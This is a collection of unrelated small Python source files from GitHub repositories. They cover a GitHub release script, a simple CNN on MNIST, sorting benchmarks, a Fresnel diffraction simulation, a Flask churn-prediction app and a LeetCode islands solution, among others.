+{"seq_id":"38913652984","text":"import argparse\nimport json\nimport os\nimport re\nimport requests\nimport subprocess\nimport shutil\nimport glob\nimport versioneer\nimport euphonic_version\nfrom update_dependencies import update_submodules\n\n__version__ = versioneer.get_version()\n\ndef main():\n    parser = get_parser()\n    args = parser.parse_args()\n    print(args)\n\n    update_submodules()\n    if args.github:\n        args.create_toolbox = True\n\n    if args.create_toolbox:\n        create_mltbx()\n\n    test = not args.notest\n    if args.github:\n        release_github(test)\n\ndef check_submodule_version(submodule):\n    \"\"\"\n    Check release version of Horace-Euphonic-Interface depends\n    on release versions of submodules\n    \"\"\"\n    ret = subprocess.run('git tag --points-at HEAD',\n                         cwd=submodule,\n                         capture_output=True)\n    ver = ret.stdout.decode('utf-8').strip()\n    if ver == '':\n        raise Exception(f'Submodule {submodule} is not a tagged (release) '\n                        f'version. A release version of Horace-Euphonic-Interface '\n                        f'should depend on release versions of its submodules')\n\n\nHELPDOCSTR = '\\n' \\\n    '    % Overloaded help command to display Python help in Matlab\\n' \\\n    '    % To use it, please type\\n' \\\n    '    %\\n' \\\n    '    % >> import euphonic.help\\n' \\\n    '    % >> help <topic>\\n' \\\n    '    %\\n' \\\n    '    % where <topic> is a Python class or method which has been wrapped for use in Matlab.\\n' \\\n    '    % If the topic is not wrapped, the normal Matlab help is displayed.\\n' \\\n\ndef replace_matlab_docstring(filename, replacement_str):\n    with open(filename) as f:\n        txt = f.read()\n    cm = [m.start() for m in re.finditer(r'\\n\\s*%', txt)]\n    nl = [m.start() for m in re.finditer(r'\\n', txt)]\n    idx = [cm[idx] for idx in range(len(cm)) if cm[idx] == nl[idx]]\n    newtxt = txt[:idx[0]] + replacement_str + txt[idx[-1]:]\n    with open(filename, 'w') as f:\n        f.write(newtxt)\n\n\ndef create_mltbx():\n    import fileinput\n    # replace version string\n    version = __version__.split('+')[0] if '+' in __version__ else __version__  # Matlab only accepts numbers\n    with fileinput.FileInput('mltbx/horace_euphonic_interface.prj', inplace=True) as prj:\n        for line in prj:\n            # FileInput redirect stdout to the file, for inplace replacement; end='' means don't add extra newlines\n            print(line.replace('<param.version>1.0</param.version>', f'<param.version>{version}</param.version>'), end='')\n    euphonic_version.update_euphonic_version()\n    # shutil.copytree expects destination to not exist\n    for dest_folder in ['+light_python_wrapper', 'euphonic_sqw_models', '+euphonic']:\n        if os.path.isdir('mltbx/' + dest_folder): shutil.rmtree('mltbx/' + dest_folder)\n    shutil.copytree('light_python_wrapper/+light_python_wrapper', 'mltbx/+light_python_wrapper')\n    shutil.copytree('euphonic_sqw_models/euphonic_sqw_models', 'mltbx/euphonic_sqw_models/euphonic_sqw_models')\n    shutil.copytree('+euphonic', 'mltbx/+euphonic')\n    for fil in glob.glob('light_python_wrapper/helputils/*.m'): shutil.copy(fil, 'mltbx/+euphonic')\n    for fil in glob.glob('light_python_wrapper/helputils/private/*.m'): shutil.copy(fil, 'mltbx/+euphonic/private')\n    replace_matlab_docstring('mltbx/+euphonic/help.m', HELPDOCSTR)\n    replace_matlab_docstring('mltbx/+euphonic/doc.m', HELPDOCSTR.replace('help', 'doc'))\n    subprocess.run(['matlab', '-batch', 'create_mltbx'], cwd='mltbx')\n    print('.mltbx created')\n\n\ndef release_github(test=True):\n    submodules = ['light_python_wrapper', 'euphonic_sqw_models']\n    for submodule in submodules:\n        check_submodule_version(submodule)\n\n    with open('CHANGELOG.rst') as f:\n        changelog = f.read()\n    # Remove working changes caused by .mltbx creation because this would\n    # bump the versioneer version to .dirty\n    subprocess.run('git restore +euphonic/private/required_modules.m')\n    subprocess.run('git restore mltbx/horace_euphonic_interface.prj')\n    hor_eu_interface_ver = 'v' + __version__\n    changelog_ver = re.findall('\\n`(v\\d+\\.\\d+\\.\\S+)\\s', changelog)[0]\n    if hor_eu_interface_ver != changelog_ver:\n        raise Exception((\n            f'VERSION and CHANGELOG.rst version mismatch!\\n'\n            f'VERSION: {hor_eu_interface_ver}\\nCHANGELOG.rst: '\n            f'{changelog_ver}'))\n    desc = re.search('`v\\d+\\.\\d+\\.\\S+.*?^-+\\n(.*?)^`v', changelog,\n                     re.DOTALL | re.MULTILINE).groups()[0].strip()\n\n    payload = {\n        \"tag_name\": changelog_ver,\n        \"target_commitish\": \"master\",\n        \"name\": changelog_ver,\n        \"body\": desc,\n        \"draft\": False,\n        \"prerelease\": False\n    }\n    if test:\n        print(payload)\n    else:\n        response = requests.post(\n            'https://api.github.com/repos/pace-neutrons/horace-euphonic-interface/releases',\n            data=json.dumps(payload),\n            headers={\"Authorization\": \"token \" + os.environ[\"GITHUB_TOKEN\"]})\n        print(response.text)\n\n    # Upload Matlab toolbox\n    if not test:\n        upload_url = response.json().get('upload_url').split('{')[0]\n        fname = 'horace_euphonic_interface.mltbx'\n        response = requests.post(\n            upload_url,\n            data=open(os.path.join('mltbx', fname), 'rb'),\n            params=(('name', fname),),\n            headers={\"Content-Type\": 'application/octet-stream',\n                     \"Authorization\": \"token \" + os.environ[\"GITHUB_TOKEN\"]},\n        )\n        print(response.text)\n\n\ndef get_parser():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\n        '--create-toolbox',\n        action='store_true',\n        help=('Create .mltbx file. This is automatically set to True if '\n              '--github is used'))\n    parser.add_argument(\n        '--github',\n        action='store_true',\n        help='Release on Github')\n    parser.add_argument(\n        '--notest',\n        action='store_true',\n        help='Actually send/upload')\n    return parser\n\n\n\nif __name__ == '__main__':\n    main()\n\n","repo_name":"mducle/horace-euphonic-interface","sub_path":"release.py","file_name":"release.py","file_ext":"py","file_size_in_byte":6038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"1065202347","text":"import mnist\nimport numpy as np\nfrom conv import Conv3x3\nfrom maxpool import MaxPool2\nfrom softmax import Softmax\n\n# the mnist package handles the MNIST dataset for us\n# learn more https://github.com/datapythonista/mnist\ntrain_images = mnist.train_images()[:1000]\ntrain_labels = mnist.train_labels()[:1000]\n\nconv = Conv3x3(8)\npool = MaxPool2()\nsoftmax = Softmax(13 * 13 * 8, 10)\n\n\ndef forward(image, label):\n    '''\n    Completes a forward pass of the CNN and calculates the accuracy and\n    cross-entropy loss.\n    - image is a 2d numpy array\n    - label is a digit\n    '''\n    # We transform the image from [0, 255] to [-0.5, 0.5] to make it easier\n    # to work with. This is standard practice.\n    out = conv.forward((image / 255) - 0.5)\n    out = pool.forward(out)\n    out = softmax.forward(out)\n\n    # Calculate cross-entropy loss and accuracy. np.log() is the natural log.\n    loss = -np.log(out[label])\n    acc = 1 if np.argmax(out) == label else 0\n\n    return out, loss, acc\n\n\nprint('MNIST CNN initialized!')\n\n\nloss = 0\nnum_correct = 0\nfor i, (im, label) in enumerate(zip(test_images, test_labels)):\n    # Do a forward pass.\n    _, l, acc = forward(im, label)\n    loss += l\n    num_correct += acc\n\n    # Print stats every 100 steps.\n    if i % 100 == 99:\n        print(\n            '[Step %d] Past 100 steps: Average Loss %.3f | Accuracy: %d%%' %\n            (i + 1, loss / 100, num_correct)\n        )\n        loss = 0\n        num_correct = 0\n\n\n# output = conv.forward(train_images[0])\n# output = conv.forward(output)\n\n# print(output.shape)\n","repo_name":"olivrg/CNN","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24791481163","text":"from queue import Queue\nfrom threading import Thread\n\n\nclass Robot:\n    def __init__(self, in_queue: Queue, out_queue: Queue):\n        self.in_queue = in_queue\n        self.out_queue = out_queue\n        self.painted = {(0, 0): True}\n        self.position = (0, 0)\n        self.dir = (-1, 0)\n        self.min_x = 0\n        self.max_x = 0\n        self.min_y = 0\n        self.max_y = 0\n        self.task = Thread(target=self.run)\n        self.task.setDaemon(True)\n\n    def turn_left(self):\n        if self.dir == (-1, 0):\n            self.dir = (0, -1)\n        elif self.dir == (0, -1):\n            self.dir = (1, 0)\n        elif self.dir == (1, 0):\n            self.dir = (0, 1)\n        elif self.dir == (0, 1):\n            self.dir = (-1, 0)\n\n    def turn_right(self):\n        if self.dir == (-1, 0):\n            self.dir = (0, 1)\n        elif self.dir == (0, 1):\n            self.dir = (1, 0)\n        elif self.dir == (1, 0):\n            self.dir = (0, -1)\n        elif self.dir == (0, -1):\n            self.dir = (-1, 0)\n\n    def print_result(self):\n        print('num painted')\n        print(len(self.painted))\n        print('')\n        print(self.min_x, self.max_x, self.min_y, self.max_y)\n        for x in range(self.min_x, self.max_x+1):\n            for y in range(self.min_y, self.max_y+1):\n                if (x, y) in self.painted and self.painted[(x, y)]:\n                    print('@', end='')\n                else:\n                    print(' ', end='')\n            print('')\n\n    def update_limits(self):\n        if self.position[0] < self.min_x:\n            self.min_x = self.position[0]\n        if self.position[0] > self.max_x:\n            self.max_x = self.position[0]\n        if self.position[1] < self.min_y:\n            self.min_y = self.position[1]\n        if self.position[1] > self.max_y:\n            self.max_y = self.position[1]\n\n    \n    def move_forward(self):\n        self.position = (self.position[0] + self.dir[0], self.position[1] + self.dir[1])\n    \n    def run(self):\n        while True:\n            code = self.in_queue.get()\n            if code == 99:\n                break\n            elif code == 98:\n                if self.position in self.painted and self.painted[self.position]:\n                    self.out_queue.put(1)\n                else:\n                    self.out_queue.put(0)\n            else:\n                if code == 0:\n                    self.painted[self.position] = False\n                elif code == 1:\n                    self.painted[self.position] = True\n                self.update_limits()\n                code = self.in_queue.get()\n                if code == 0:\n                    self.turn_left()\n                elif code == 1:\n                    self.turn_right()\n                self.move_forward()\n\n    def start(self):\n        self.task.start()\n\n    def join(self):\n        self.task.join()","repo_name":"christnil/adventofcode-2019","sub_path":"day11/robot.py","file_name":"robot.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34982357954","text":"import pandas as pd\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\ntrain_df = pd.read_csv('train.csv')\nimage_ids = train_df['image_id'].values\nlabels = train_df['label'].unique()\n\ndef displayLabel(train_df):\n    label_counts = train_df['label'].value_counts()\n    plt.bar(label_counts.index, label_counts.values)\n    plt.xlabel('Label ID')\n    plt.ylabel('Count')\n    plt.title('Distribution of Label IDs')\n    plt.show()\n\ndef plot_selected_images(train_df, labels):\n    selected_images = []\n    for label in labels:\n        image_id = train_df[train_df['label'] == label]['image_id'].iloc[0]\n        selected_images.append(image_id)\n    \n    fig, axes = plt.subplots(nrows=len(selected_images), figsize=(8, 8))\n    \n    for i, image_id in enumerate(selected_images):\n        img_path = f'train_tfimages\\\\{image_id}'  # Assuming the images are stored in a directory named 'train_images'\n        img = plt.imread(img_path)\n        axes[i].imshow(img)\n        axes[i].set_title(f'Label: {labels[i]}')\n    \n    plt.tight_layout()\n    plt.show()\n\nplot_selected_images(train_df, labels)\n\ndata_directory = 'train_tfimages'\nimg = cv2.imread(os.path.join('train_tfimages', '6103.jpg'))\nimg.shape\n","repo_name":"nttrung2406/Cassava-Leaf-Disease-Classification.","sub_path":"overview.py","file_name":"overview.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"50703576066","text":"\ndef user_serialize(user_db):\n    user = {\n        'id': user_db.id,\n        'first_name': user_db.first_name,\n        'last_name': user_db.last_name,\n        'password': '',\n        'username': user_db.username,\n        'role': user_db.role\n    }\n    return user\n\n\ndef users_serialize(users):\n    result = []\n    for user in users:\n        user_add = user_serialize(user)\n        result.append(user_add)\n    return result\n\n\ndef apartment_serialize(apartment_db):\n    urls = [image.url for image in apartment_db.images]\n    apartment = {\n        'id': apartment_db.id,\n        'lamella': apartment_db.lamella,\n        'address': apartment_db.address,\n        'quadrature': apartment_db.quadrature,\n        'floor': apartment_db.floor,\n        'num_rooms': apartment_db.num_rooms,\n        'orientation': apartment_db.orientation,\n        'num_terrace': apartment_db.num_terrace,\n        'price': apartment_db.price,\n        'status': apartment_db.status,\n        'new_construction': apartment_db.new_construction,\n        'in_construction': apartment_db.in_construction,\n        'available_from': str(apartment_db.available_from),\n        'images': urls\n    }\n    return apartment\n\n\ndef apartments_serialize(apartments):\n    result = []\n    for apartment in apartments:\n        apartment_add = apartment_serialize(apartment)\n        result.append(apartment_add)\n    return result\n\n\ndef customer_serialize(customer_db):\n    customer = {\n        'id': customer_db.id,\n        'legal_entity': customer_db.legal_entity,\n        'name': customer_db.name,\n        'email': customer_db.email,\n        'telephone_number': customer_db.telephone_number,\n        'pib_jmbg': customer_db.pib_jmbg,\n        'place': customer_db.place,\n        'street': customer_db.street,\n        'num': customer_db.num,\n        'date_of_first_visit': str(customer_db.date_of_first_visit)\n    }\n    return customer\n\n\ndef customers_serialize(customers):\n    result = []\n    for customer in customers:\n        customer_add = customer_serialize(customer)\n        result.append(customer_add)\n\n    return result\n\n\ndef offer_serialize(offer):\n    serialized_offer = {\n        'id': offer.id,\n        'apartment_id': offer.apartment_id,\n        'customer_id': offer.customer_id,\n        'customer_status': offer.customer_status,\n        'customer_price': offer.customer_price,\n        'price_approved': offer.price_approved,\n        'note': offer.note,\n        'payment_method': offer.payment_method,\n        'deposit_amount': offer.deposit_amount,\n        'contract_deadline': offer.contract_deadline,\n        'bank': offer.bank,\n        'loan_amount': offer.loan_amount,\n        'cash_amount': offer.cash_amount,\n        'contract_number': offer.contract_number,\n        'contract_date': offer.contract_date\n    }\n\n    return serialized_offer\n\n\ndef customer_apartment_serialize(customers_apartments):\n    result = []\n    for customer, offer in customers_apartments:\n        dict_to_append = {}\n        cust = customer_serialize(customer)\n        off = offer_serialize(offer)\n        dict_to_append.update(cust)\n        dict_to_append.update(off)\n        result.append(dict_to_append)\n\n    return result\n\n\ndef apartment_customer_serialize(apartments_customer):\n    result = []\n    for apartment, offer in apartments_customer:\n        dict_to_append = {}\n        apart = apartment_serialize(apartment)\n        off = offer_serialize(offer)\n        dict_to_append.update(apart)\n        dict_to_append.update(off)\n        result.append(dict_to_append)\n\n    return result\n\n\ndef price_for_approval_serialize(customers_apartments_price):\n    result = []\n    for offer in customers_apartments_price:\n        dict_to_append = {\n            'apartment_customer_id': offer.offer_id,\n            'apartment_id': offer.apartment_id,\n            'apartment_address': offer.apartment_address,\n            'apartment_quadrature': offer.apartment_quadrature,\n            'apartment_price': offer.apartment_price,\n            'apartment_lowest_price': offer.apartment_lowest_price,\n            'apartment_customer_price': offer.apartment_customer_price,\n            'price_approved': offer.price_approved,\n            'customer_id': offer.customer_id,\n            'customer_name': offer.customer_name\n        }\n        result.append(dict_to_append)\n\n    return result\n\n\n\n","repo_name":"markodmutavdzic/prodaja_stanova","sub_path":"app/serialize.py","file_name":"serialize.py","file_ext":"py","file_size_in_byte":4317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25821350350","text":"from uplogic.nodes import ULActionNode\nfrom uplogic.nodes import ULOutSocket\nfrom uplogic.utils import clamp\n\n\nclass ULClampedModifyProperty(ULActionNode):\n    def __init__(self):\n        ULActionNode.__init__(self)\n        self.condition = None\n        self.game_object = None\n        self.property_name = None\n        self.property_value = None\n        self.mode = 0\n        self.operator = None\n        self.range = None\n        self.done = False\n        self.OUT = ULOutSocket(self, self._get_done)\n\n    def _get_done(self):\n        return self.done\n\n    def evaluate(self):\n        self.done = False\n        if not self.get_input(self.condition):\n            return\n        game_object = self.get_input(self.game_object)\n        property_name = self.get_input(self.property_name)\n        property_value = self.get_input(self.property_value)\n        val_range = self.get_input(self.range)\n        obj = game_object.blenderObject if self.mode else game_object\n        value = obj.get(property_name, 0)\n        new_val = self.operator(value, property_value)\n        obj[property_name] = (\n            clamp(new_val, val_range.x, val_range.y)\n        )\n        self.done = True\n","repo_name":"UPBGE/uplogic","sub_path":"uplogic/nodes/actions/clampedmodifyproperty.py","file_name":"clampedmodifyproperty.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"1043526420","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Intakes a list and sorts the list\"\"\"\n\nimport time\n\n\ndef insertion_sort(a_list):\n    \"\"\"insertion_sort Function - intakes a list of objects and sorts the list.\n    Args:\n        a_list (list): A list of objects to be sorted\n    Output: a_list sorted and the time it took to sort \n    Example:\n        test_list = [1, 2, 32, 8, 17, 19, 42, 13, 0]\n        insertion_sort(test_list)\n        >>>([0, 1, 2, 8, 13, 17, 19, 32, 42], .000015)\n    \"\"\"\n    start_time = time.time()\n    for index in range(1, len(a_list)):\n        current_value = a_list[index]\n        position = index\n        while position > 0 and a_list[position - 1] > current_value:\n            a_list[position] = a_list[position - 1]\n            position = position - 1\n            a_list[position] = current_value\n    end_time = time.time()\n    total_time = end_time - start_time\n    return (a_list, total_time)\n\ndef shell_sort(a_list):\n    \"\"\"Shell Short Function - intakes a list of objects and sorts the list.\n    Args:\n        a_list (list): A list of objects to be sorted\n    Output: a_list sorted and the time it took to sort \n    Example:\n        test_list = [1, 2, 32, 8, 17, 19, 42, 13, 0]\n        shell_sort(test_list)\n        >>>([0, 1, 2, 8, 13, 17, 19, 32, 42], .000015)\n    \"\"\"\n    start_time = time.time()\n    sublist_count = len(a_list) // 2\n    while sublist_count > 0:\n        for start_position in range(sublist_count):\n            gap_insertion_sort(a_list, start_position, sublist_count)\n        sublist_count = sublist_count // 2\n    end_time = time.time()\n    total_time = end_time - start_time\n    return (a_list, total_time)\n\ndef gap_insertion_sort(a_list, start, gap):\n    \"\"\"gap_insertion_sort Function - intakes a list of objects sorts them\n    Args:\n        a_list (list): A list of objects to be searched\n        start (int): starting position\n        gap(int): the gap position of the sort\n    Output: a sorted list\n    Example:\n        test_list = [0, 1, 2, 8, 13, 17, 19, 32, 42,]\n        gap_insertion_sort(test_list, 3, 2)\n        >>>[0, 1, 2, 8, 13, 17, 19, 32, 42,]\n    \"\"\"\n    for i in range(start + gap, len(a_list), gap):\n        current_value = a_list[i]\n        position = i\n        while position >= gap and a_list[position - gap] > current_value:\n            a_list[position] = a_list[position - gap]\n            position = position - gap\n            a_list[position] = current_value\n    return (a_list)\n\ndef python_sort(mycmp):\n    \"\"\"Convert a cmp= function into a key= function\n\n    \"\"\"\n    start_time = time.time()\n    class K(object):\n        def __init__(self, obj, *args):\n            self.obj = obj\n        def __lt__(self, other):\n            return mycmp(self.obj, other.obj) < 0\n        def __gt__(self, other):\n            return mycmp(self.obj, other.obj) > 0\n        def __eq__(self, other):\n            return mycmp(self.obj, other.obj) == 0\n        def __le__(self, other):\n            return mycmp(self.obj, other.obj) <= 0\n        def __ge__(self, other):\n            return mycmp(self.obj, other.obj) >= 0\n        def __ne__(self, other):\n            return mycmp(self.obj, other.obj) != 0\n    end_time = time.time()\n    total_time = end_time - start_time\n    return (K, total_time)\n\ndef binary_search_recursive(a_list, item):\n    \"\"\"binary_search_recursive Function - intakes a list of objects sorts them\n    Args:\n        a_list (list): A list of objects to be searched\n        item (int): An int that will be compared against a_list\n    Output: A sorted list \n    Example:\n        test_list = [0, 1, 2, 8, 13, 17, 19, 32, 42,]\n        binary_search_recursive(test_list, 3)\n        >>>[0, 1, 2, 8, 13, 17, 19, 32, 42,]\n    \"\"\"\n    start_time = time.time()\n    if len(a_list) == 0:\n        end_time = time.time()\n        total_time = end_time - start_time\n        return (False, total_time)\n    else:\n        midpoint = len(a_list) // 2\n    if a_list[midpoint] == item:\n        end_time = time.time()\n        total_time = end_time - start_time\n        return (True, total_time)\n    else:\n        if item < a_list[midpoint]:\n            end_time = time.time()\n            total_time = end_time - start_time\n            return ((binary_search_recursive(a_list[:midpoint], item)\n                    , total_time))\n        else:\n            end_time = time.time()\n            total_time = end_time - start_time\n            return ((binary_search_recursive(a_list[midpoint + 1:], item)\n                    , total_time))\n          \ndef main():\n    \"\"\"Main Function - Tests search and sort functions to identify Bio-O logic.\n    Args:\n    Output: Facts about the parsed Big-O testing data. \n    Example:\n        $ python sort_compare.py\n        >>>'Insertion Sort on average took  0.0000675 seconds to run 500 records\n        0.0001135 to run 1000 records, and  0.0002669 to run 2500 records...\n        \"\"\"\n    test_list500 = ([[number+1 for number in range(500)]\n                     for group in range(100)])\n    insertion_sort_500 = []\n    shell_sort_500 = []\n    python_sort_500 = []\n    \n    test_list1000 = ([[number+1 for number in range(1000)]\n                     for group in range(100)])\n    insertion_sort_1000 = []\n    shell_sort_1000 = []\n    python_sort_1000 = []\n    \n    test_list2500 = ([[number+1 for number in range(2500)]\n                      for group in range(100)])\n    insertion_sort_2500 = []\n    shell_sort_2500 = []\n    python_sort_2500 = []\n    \n    for i in test_list500:\n        insertion_sort_500.append(insertion_sort(i))\n        shell_sort_500.append(shell_sort(i))\n        python_sort_500.append(python_sort(i))\n    insertion_sort_avg_500 = ((sum([i[1] for i in insertion_sort_500])) /\n                    (len(insertion_sort_500)))\n    shell_sort_avg_500 = ((sum([i[1] for i in shell_sort_500]))\n                            / (len(shell_sort_500)))\n    python_sort_avg_500 = ((sum([i[1] for i in python_sort_500]))\n                              / (len(python_sort_500)))\n\n    for i in test_list1000:\n        insertion_sort_1000.append(insertion_sort(i))\n        shell_sort_1000.append(shell_sort(i))\n        python_sort_1000.append(python_sort(i))\n    insertion_sort_avg_1000 = ((sum([i[1] for i in insertion_sort_1000])) /\n                    (len(insertion_sort_1000)))\n    shell_sort_avg_1000 = ((sum([i[1] for i in shell_sort_1000])) /\n                    (len(shell_sort_1000)))\n    python_sort_avg_1000 = ((sum([i[1] for i in python_sort_1000])\n                                ) / (len(python_sort_1000)))\n\n    for i in test_list2500:\n        insertion_sort_2500.append(insertion_sort(i))\n        shell_sort_2500.append(shell_sort(i))\n        python_sort_2500.append(python_sort(i))\n    insertion_sort_avg_2500 = ((sum([i[1] for i in insertion_sort_2500])) /\n                    (len(insertion_sort_2500)))\n    shell_sort_avg_2500 = ((sum([i[1] for i in shell_sort_2500])) /\n                    (len(shell_sort_2500)))\n    python_sort_avg_2500 = ((sum([i[1] for i in python_sort_2500])\n                                ) / (len(python_sort_2500)))\n    print (\"Insertion Sort on average took %10.7f seconds to run 500 records\"\n           \"%10.7f to run 1000 records, and %10.7f to run 2500 records.\"\n           %(insertion_sort_avg_500, insertion_sort_avg_1000\n             , insertion_sort_avg_2500))\n    print (\"Shell Sort on average took %10.7f seconds to run\"\n           \"500 records, %10.7f to run 1000 records\"\n           \", and %10.7f to run 2500 records.\"\n           %(shell_sort_avg_500, shell_sort_avg_1000,\n             shell_sort_avg_2500))\n    print (\"Python Sort on average took %10.7f seconds to run\"\n           \"500 records, %10.7f to run 1000 records\"\n           \", and %10.7f to run 2500 records.\"\n           %(python_sort_avg_500, python_sort_avg_1000,\n             python_sort_avg_2500))\n \nmain()\n","repo_name":"detroitsteel/IS211_Assignment4","sub_path":"sort_compare.py","file_name":"sort_compare.py","file_ext":"py","file_size_in_byte":7827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43661559568","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.integrate as integrate\n\n#Defines system parameters.\nD=5000\nd=100\nwavelen=0.5\nL=5000\nx=np.linspace(-L/2,L/2,int(L))\n\n#Define the slit aperture function.\ndef A(x,d):\n\treturn (np.s(x)<d/2).astype(float)\n\n#Define modified aperture function as required for fresnel diffraction.\ndef Aprime(x,d):\n\treturn np.exp(1j*np.pi*np.power(x,2)/(wavelen*D))*A(x,d)\n\n#Perform fresnel diffraction fourier integral.\ndef intensity(x,wavelen,D,d):\n\tft=np.fft.fft(Aprime(x,d))\n\tspatfreq=np.fft.fftfreq(len(x),x[1]-x[0])\n\ty=spatfreq*wavelen*D\n\tamp=np.exp(1j*2*np.pi/wavelen*np.power(y,2)/(2*D))*ft\n\treturn np.vstack((y,np.power(np.abs(amp)/(np.abs(amp[0])),2),np.angle(amp)))\n\npattern=intensity(x,wavelen,D,d)\n#Computes what the fraunhofer result would be: so that we see the fraunhofer approximation gives invalid results.\npred=np.power(np.sinc(d*pattern[0,:]/(D*wavelen)),2)\n\n\n#Plot the results.\nfig, ax=plt.subplots()\nsimulation, = ax.plot(pattern[0,:],pattern[1,:])\ntheory, = ax.plot(pattern[0,:],pred)\nax.spines['top'].set_color('none')\nax.spines['right'].set_color('none')\nax.spines['left'].set_position('center')\nax.xaxis.set_ticks_position('bottom')\nax.yaxis.set_ticks_position('left')\nax.set_xlabel(\"screen position/um\",x=0.5)\nax.xaxis.set_label_position('bottom') \nax.set_ylabel(\"normalised intensity/arbitrary\",y=0.5)\nax.legend([simulation, theory], [\"fft prediction\", \"fraunhofer result\"])\nplt.ylim((0,1))\nplt.xlim((-500,500))\nplt.savefig(\"fresnel slit.png\",dpi=200)\n\n\n","repo_name":"andreiruskuc/test","sub_path":"fresnel slit.py","file_name":"fresnel slit.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27958033684","text":"from flask import Flask, render_template, request\nimport numpy as np\nimport pickle\n\nmodel = pickle.load(open(\"ccp.pkl\", \"rb\"))\ncolumns_list = pickle.load(open(\"columns_list.obj\", \"rb\"))\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef man():\n    return render_template('home.html')\n\n@app.route('/predict', methods=['POST'])\ndef home():\n    \n    Geography = request.form[\"Geography\"]\n    if Geography =='Maharashtra':\n        Geography=0\n    elif Geography =='Gujrat':\n        Geography=1\n    elif Geography =='Kerla':\n        Geography=2\n    Gender = request.form[\"Gender\"]\n    if Gender =='Female':\n        Gender=1\n    elif Gender =='Male':\n        Gender=0\n    Age = request.form[\"Age\"]\n    Tenure = request.form[\"Tenure\"]\n    CreditScore =request.form[\"CreditScore\"]\n    Balance = request.form[\"Balance\"]\n    NumOfProducts = request.form[\"NumOfProducts\"]\n    HasCrCard = request.form[\"HasCrCard\"]\n    IsActiveMember = request.form[\"IsActiveMember\"]\n    EstimatedSalary = request.form[\"EstimatedSalary\"]\n    noofComplaints = request.form[\"noofComplaints\"]\n    \n    data= (Geography,Gender,Age,Tenure,CreditScore,Balance,NumOfProducts,HasCrCard,IsActiveMember,EstimatedSalary,noofComplaints)\n\n    array = np.array(data)\n\n    array = array.reshape(1, -1)\n    \n    prediction = model.predict(array)\n    return render_template('after.html', data=prediction ,d1=int(CreditScore) ,d2=int(noofComplaints))\n\n\nif __name__ == \"__main__\":\n    app.run(host='0.0.0.0', port=8080, debug=False)   \n\n# @app.route('/predict1')\n# def predict1():\n#     a = int(request.args.get('a'))\n#     b = int(request.args.get('b'))\n#     c = int(request.args.get('c'))\n#     d = int(request.args.get('d'))\n\n#     arr = np.array([[a, b, c, d]])\n#     pred = model.predict(arr)\n#     return render_template('after.html', data=pred)\n    \n","repo_name":"sagarmohatkar1/ccp1","sub_path":"ccp.py","file_name":"ccp.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42948134002","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 18 23:08:17 2012\r\n\r\n@author: Nikolay\r\n\"\"\"\r\n\r\nimport csv\r\nimport cPickle\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom util import list_spectrum_data\r\n\r\ndef draw_data():\r\n    with open('data/train_dA.csv', 'rb') as f:\r\n        reader = csv.reader(f)\r\n        (spectrum, chords) = list_spectrum_data(reader, components=240)\r\n    vector = spectrum[3400];\r\n    with open('model/corruption_30.dat', 'rb') as f1:\r\n    # with open('model/no_corruption.dat', 'rb') as f1:\r\n        da = cPickle.load(f1)\r\n        encoded = da.autoencode(vector)\r\n    \r\n    ax = plt.subplot(111)\r\n    xs = range(0,240)\r\n    ys = vector\r\n    ys1 = encoded\r\n    ax.plot(xs, ys)\r\n    ax.plot(xs, ys1)\r\n    plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n    draw_data()\r\n","repo_name":"nglazyrin/chordest-py","sub_path":"Utils/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11474555559","text":"class Solution:\n    def numIslands(self, grid: List[List[str]]) -> int:\n        num_rows,num_cols,num_islands = len(grid), len(grid[0]),0\n        visited = set()\n        \n        def findIsland(row,col):\n            # add this cell to the visited set\n            visited.add((row,col))\n            \n            # add left, right, top and down neighbours of this cell respectively. Here the first element is row id and second one is the column id\n            neighbours = [[0,-1], [0,1],[-1,0],[1,0]]\n            \n            for row_id,col_id in neighbours:\n                # Visit a partiular neighbour if the index values are within bounds and the string value stored at neighbour == \"1: and that cell is not already visited\n                if 0 <= (col+col_id) < num_cols and 0 <= (row+row_id ) < num_rows and grid[row+row_id][col+col_id] == \"1\" and (row+row_id,col+col_id) not in visited:\n                    findIsland(row+row_id,col+col_id)\n                 \n        # driver code\n        for row in range(num_rows):\n            for col in range(num_cols):\n                # call each cell element if that is not already visited\n                if grid[row][col] == \"1\" and (row,col) not in visited:\n                    findIsland(row,col)\n                    \n                    # increment the count if findIsland() returned it's execution as it means one set of continuous cells have been traversed\n                    num_islands += 1\n        return num_islands\n        \n            ","repo_name":"amarjitdhillon/CP_2021","sub_path":"200-number-of-islands/200-number-of-islands.py","file_name":"200-number-of-islands.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
